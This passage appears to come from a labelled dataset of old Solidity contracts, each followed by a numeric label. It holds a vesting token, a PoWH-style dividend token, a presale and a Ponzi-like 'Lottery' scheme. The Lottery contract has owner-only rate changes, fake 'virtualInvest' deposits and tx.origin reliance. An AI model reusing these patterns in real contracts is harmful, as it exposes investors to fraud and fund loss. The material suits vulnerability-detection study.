return true;
}
} | 1 | 2,599 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool );
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract HHLCTOKEN is ERC20Token {
using SafeMath for uint256;
address public manager;
modifier onlyManager() {
require(msg.sender == manager);
_;
}
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256 )) allowed;
uint256 exchangeTimestamp;
uint256[] public privateTimes;
uint256[] public airdropTimes;
uint256[] public privateRates=[50,60,70,80,90,100];
uint256[] public airdropRates=[5,10,15,20,25,30,35,40,45,50,55,60,65,70,75,80,85,90,95,100];
struct LockRuler {
uint256 utype;
uint256 money;
}
mapping (address => LockRuler[]) public mapLockRulers;
function transfer( address _to, uint256 _value )
public
returns (bool success)
{
if( mapLockRulers[msg.sender].length > 0 ){
require (exchangeTimestamp > 0);
uint256 _lockMoney = 0;
uint256 _preMoney = 0;
uint256 _idx = 0;
uint256 _idx2 = 0;
uint256 _rate = 0;
uint256 _hundred = 100;
uint256 _var1 = 0;
uint256 _var2 = 0;
uint256 _var3 = 0;
for( _idx = 0; _idx < mapLockRulers[msg.sender].length; _idx++ ){
if( mapLockRulers[msg.sender][_idx].utype == 0){
for( _idx2 = 0; _idx2 < privateTimes.length -1; _idx2++ ){
if(privateTimes[_idx2]<=block.timestamp && block.timestamp < privateTimes[_idx2+1]){
_rate = privateRates[_idx2];
_var1 = _hundred.sub(_rate);
_var2 = _var1.mul(mapLockRulers[msg.sender][_idx].money);
_var3 = _var2.div(_hundred);
_lockMoney = _lockMoney.add(_var3 );
break;
}else if( block.timestamp > privateTimes[privateTimes.length -1] ){
_lockMoney = _lockMoney.add(0);
break;
}else if(block.timestamp<privateTimes[0]){
_lockMoney = _lockMoney.add(mapLockRulers[msg.sender][_idx].money);
break;
}
}
}
if(mapLockRulers[msg.sender][_idx].utype == 1){
for( _idx2 = 0; _idx2 < airdropTimes.length -1; _idx2++ ){
if(airdropTimes[_idx2] <= block.timestamp && block.timestamp <= airdropTimes[_idx2+1]){
_rate = airdropRates[_idx2];
_var1 = _hundred.sub(_rate);
_var2 = _var1.mul(mapLockRulers[msg.sender][_idx].money);
_var3 = _var2.div(_hundred);
_lockMoney = _lockMoney.add(_var3 );
break;
}else if( block.timestamp > airdropTimes[airdropTimes.length -1] ){
_lockMoney = _lockMoney.add(0);
break;
}else if(block.timestamp < airdropTimes[0]){
_lockMoney = _lockMoney.add(mapLockRulers[msg.sender][_idx].money);
break;
}
}
}
}
_preMoney = _value.add(_lockMoney);
require ( _preMoney <= balances[msg.sender] );
return _transfer(_to, _value);
}else{
return _transfer(_to, _value);
}
}
function _transfer(address _to, uint256 _value)
internal returns (bool success){
require(_to != 0x0);
require(_value > 0);
require(balances[msg.sender] >= _value);
uint256 previousBalances = balances[msg.sender] + balances[_to];
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
assert(balances[msg.sender] + balances[_to] == previousBalances);
return true;
}
function balanceOf(address _owner)
public
view
returns (uint balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender)
public
view
returns (uint256){
return allowed[_owner][_spender];
}
event NewToken(uint256 indexed _decimals, uint256 _totalSupply, string _tokenName, string _tokenSymbol);
string public name;
string public symbol;
uint256 public decimals;
constructor(
uint256 _initialAmount,
uint256 _decimals,
string _tokenName,
string _tokenSymbol
)public{
require (_decimals > 0);
require (_initialAmount > 0);
require (bytes(_tokenName).length>0);
require (bytes(_tokenSymbol).length>0);
manager = msg.sender;
decimals = _decimals;
totalSupply = _initialAmount * (10 ** uint256(decimals));
balances[manager] = totalSupply;
name = _tokenName;
symbol = _tokenSymbol;
exchangeTimestamp = 0;
emit NewToken(_decimals, totalSupply, name, symbol);
}
function addAirdropUsers( address[] _accounts, uint256[] _moneys )
onlyManager
public{
require (_accounts.length > 0);
require (_accounts.length == _moneys.length);
uint256 _totalMoney = 0;
uint256 _idx = 0;
for(_idx = 0; _idx < _moneys.length; _idx++){
_totalMoney += _moneys[_idx];
}
require ( _totalMoney <= balances[manager] );
for( _idx = 0; _idx < _accounts.length; _idx++ ){
LockRuler memory _lockRuler = LockRuler({
money:_moneys[_idx],
utype:1
});
mapLockRulers[_accounts[_idx]].push(_lockRuler);
_transfer(_accounts[_idx], _moneys[_idx]);
}
}
function addPrivateUsers( address[] _accounts, uint256[] _moneys )
onlyManager
public{
require (_accounts.length > 0);
require (_accounts.length == _moneys.length);
uint256 _totalMoney = 0;
uint256 _idx = 0;
for(_idx = 0; _idx < _moneys.length; _idx++){
_totalMoney = _totalMoney.add(_moneys[_idx]) ;
}
require ( _totalMoney <= balances[manager] );
for( _idx = 0; _idx < _accounts.length; _idx++ ){
LockRuler memory _lockRuler = LockRuler({
money:_moneys[_idx],
utype:0
});
mapLockRulers[_accounts[_idx]].push(_lockRuler);
_transfer(_accounts[_idx], _moneys[_idx]);
}
}
function addExchangeTime( uint256 _time )
onlyManager
public{
require (_time > 0);
require (privateTimes.length == 0);
require (airdropTimes.length == 0);
exchangeTimestamp = _time;
uint256 _idx = 0;
for(_idx = 0; _idx < privateRates.length; _idx++){
privateTimes.push( _getDate(_time, _idx) );
}
for(_idx = 0; _idx < airdropRates.length; _idx++){
airdropTimes.push( _getDate(_time, _idx) );
}
}
function _getDate(uint256 start, uint256 daysAfter)
internal
pure
returns (uint256){
daysAfter = daysAfter.mul(60);
return start + daysAfter * 1 days;
}
} | 0 | 520 |
pragma solidity ^0.4.20;
contract TDP {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "ThreeDayProfits";
string public symbol = "TDP";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 20;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 30;
uint8 constant internal refferalFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 250e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,573 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract SelfPayPreSale is CappedCrowdsale, FinalizableCrowdsale {
uint256 public numberOfPurchasers = 0;
uint256 public nbBackerWithMoreOrEqualTen = 0;
uint256 public sxpNumber = 0;
bool public goldLevelBonusIsUsed = false;
function SelfPayPreSale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _goal, uint256 _cap, address _wallet)
CappedCrowdsale(_cap)
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime, _rate, _wallet) public
{
require(_goal <= _cap);
}
function computeTokenWithBonus(uint256 weiAmount, address beneficiary) internal returns(uint256) {
uint256 tokens_ = weiAmount.mul(rate);
if (beneficiary == address(0xCB61f584dCCd8762427ef44ee8eB4a24f4bC4a82) && weiAmount >= 50 ether && !goldLevelBonusIsUsed) {
tokens_ = tokens_.mul(200).div(100);
goldLevelBonusIsUsed = true;
} else if (weiAmount >= 10 ether && nbBackerWithMoreOrEqualTen < 10) {
tokens_ = tokens_.mul(175).div(100);
nbBackerWithMoreOrEqualTen++;
} else {
tokens_ = tokens_.mul(160).div(100);
}
return tokens_;
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = computeTokenWithBonus(weiAmount, beneficiary);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
weiRaised = weiRaised.add(weiAmount);
numberOfPurchasers = numberOfPurchasers + 1;
sxpNumber = sxpNumber.add(tokens);
forwardFunds();
}
function finalization() internal {
token.transferOwnership(owner);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract SelfPayToken is MintableToken,BurnableToken {
string public constant name = "SelfPay Token";
string public constant symbol = "SXP";
uint256 public decimals = 18;
bool public tradingStarted = false;
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
function startTrading() onlyOwner public {
tradingStarted = true;
}
function transfer(address _to, uint _value) hasStartedTrading public returns (bool){
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) hasStartedTrading public returns (bool){
return super.transferFrom(_from, _to, _value);
}
} | 1 | 2,768 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Proxy {
using SafeMath for uint256;
uint256 public contribution = 0;
Lottery lottery;
constructor() public {
lottery = Lottery(msg.sender);
}
function() public payable {
contribution = contribution.add(msg.value);
address(lottery).transfer(msg.value);
}
function resetContribution() external {
require(msg.sender == lottery.owner());
contribution = 0;
}
}
contract Lottery {
using SafeMath for uint256;
uint256 constant public ONE_HUNDRED_PERCENTS = 10000;
uint256[] public DAILY_INTEREST = [111, 133, 222, 333, 444];
uint256 public MARKETING_AND_TEAM_FEE = 1000;
uint256 public referralPercents = 1000;
uint256 constant public MAX_DIVIDEND_RATE = 25000;
uint256 constant public MINIMUM_DEPOSIT = 100 finney;
uint256 public wave = 0;
uint256 public totalInvest = 0;
uint256 public totalDividend = 0;
mapping(address => bool) public isProxy;
struct Deposit {
uint256 amount;
uint256 interest;
uint256 withdrawedRate;
}
struct User {
address referrer;
uint256 referralAmount;
uint256 firstTime;
uint256 lastPayment;
Deposit[] deposits;
uint256 referBonus;
}
address public marketingAndTechnicalSupport = 0xFaea7fa229C29526698657e7Ab7063E20581A50c;
address public owner = 0x4e3e605b9f7b333e413E1CD9E577f2eba447f876;
mapping(uint256 => mapping(address => User)) public users;
event InvestorAdded(address indexed investor);
event ReferrerAdded(address indexed investor, address indexed referrer);
event DepositAdded(address indexed investor, uint256 indexed depositsCount, uint256 amount);
event UserDividendPayed(address indexed investor, uint256 dividend);
event DepositDividendPayed(address indexed investor, uint256 indexed index, uint256 deposit, uint256 totalPayed, uint256 dividend);
event FeePayed(address indexed investor, uint256 amount);
event BalanceChanged(uint256 balance);
event NewWave();
function() public payable {
require(isProxy[msg.sender]);
if(msg.value == 0) {
withdrawDividends();
return;
}
doInvest();
}
function withdrawDividends() internal {
uint256 dividendsSum = getDividends(tx.origin);
require(dividendsSum > 0);
if (address(this).balance <= dividendsSum) {
wave = wave.add(1);
totalInvest = 0;
dividendsSum = address(this).balance;
emit NewWave();
}
tx.origin.transfer(dividendsSum);
emit UserDividendPayed(tx.origin, dividendsSum);
emit BalanceChanged(address(this).balance);
}
function getDividends(address wallet) internal returns(uint256 sum) {
User storage user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawRate = dividendRate(tx.origin, i);
user.deposits[i].withdrawedRate = user.deposits[i].withdrawedRate.add(withdrawRate);
sum = sum.add(user.deposits[i].amount.mul(withdrawRate).div(ONE_HUNDRED_PERCENTS));
emit DepositDividendPayed(
tx.origin,
i,
user.deposits[i].amount,
user.deposits[i].amount.mul(user.deposits[i].withdrawedRate.div(ONE_HUNDRED_PERCENTS)),
user.deposits[i].amount.mul(withdrawRate.div(ONE_HUNDRED_PERCENTS))
);
}
user.lastPayment = now;
sum = sum.add(user.referBonus);
user.referBonus = 0;
totalDividend = totalDividend.add(sum);
}
function dividendRate(address wallet, uint256 index) internal view returns(uint256 rate) {
User memory user = users[wave][wallet];
uint256 duration = now.sub(user.lastPayment);
rate = user.deposits[index].interest.mul(duration).div(1 days);
uint256 leftRate = MAX_DIVIDEND_RATE.sub(user.deposits[index].withdrawedRate);
rate = min(rate, leftRate);
}
function doInvest() internal {
uint256 investment = msg.value;
require (investment >= MINIMUM_DEPOSIT);
User storage user = users[wave][tx.origin];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(tx.origin);
}
if (user.referrer == address(0) && msg.data.length == 20 && user.firstTime == now) {
address newReferrer = _bytesToAddress(msg.data);
if (newReferrer != address(0) && newReferrer != tx.origin && users[wave][newReferrer].firstTime > 0) {
user.referrer = newReferrer;
emit ReferrerAdded(tx.origin, newReferrer);
}
}
if (user.referrer != address(0)) {
uint256 refAmount = investment.mul(referralPercents).div(ONE_HUNDRED_PERCENTS);
users[wave][user.referrer].referralAmount = users[wave][user.referrer].referralAmount.add(investment);
user.referrer.transfer(refAmount);
}
investment = investment.add(getDividends(tx.origin));
totalInvest = totalInvest.add(investment);
user.deposits.push(Deposit({
amount: investment,
interest: getUserInterest(tx.origin),
withdrawedRate: 0
}));
emit DepositAdded(tx.origin, user.deposits.length, investment);
uint256 marketingAndTeamFee = msg.value.mul(MARKETING_AND_TEAM_FEE).div(ONE_HUNDRED_PERCENTS);
marketingAndTechnicalSupport.transfer(marketingAndTeamFee);
emit FeePayed(tx.origin, marketingAndTeamFee);
emit BalanceChanged(address(this).balance);
}
function getUserInterest(address wallet) public view returns (uint256) {
User memory user = users[wave][wallet];
if (user.referralAmount < 1 ether) {
if(user.referrer == address(0)) return DAILY_INTEREST[0];
return DAILY_INTEREST[1];
} else if (user.referralAmount < 10 ether) {
return DAILY_INTEREST[2];
} else if (user.referralAmount < 20 ether) {
return DAILY_INTEREST[3];
} else {
return DAILY_INTEREST[4];
}
}
function _bytesToAddress(bytes data) private pure returns(address addr) {
assembly {
addr := mload(add(data, 20))
}
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if(a < b) return a;
return b;
}
function depositForUser(address wallet) external view returns(uint256 sum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
sum = sum.add(user.deposits[i].amount);
}
}
function dividendsSumForUser(address wallet) external view returns(uint256 dividendsSum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawAmount = user.deposits[i].amount.mul(dividendRate(wallet, i)).div(ONE_HUNDRED_PERCENTS);
dividendsSum = dividendsSum.add(withdrawAmount);
}
dividendsSum = dividendsSum.add(user.referBonus);
dividendsSum = min(dividendsSum, address(this).balance);
}
function changeInterest(uint256[] interestList) external {
require(address(msg.sender) == owner);
DAILY_INTEREST = interestList;
}
function changeTeamFee(uint256 feeRate) external {
require(address(msg.sender) == owner);
MARKETING_AND_TEAM_FEE = feeRate;
}
function virtualInvest(address from, uint256 amount) public {
require(address(msg.sender) == owner);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
amount = amount.add(getDividends(from));
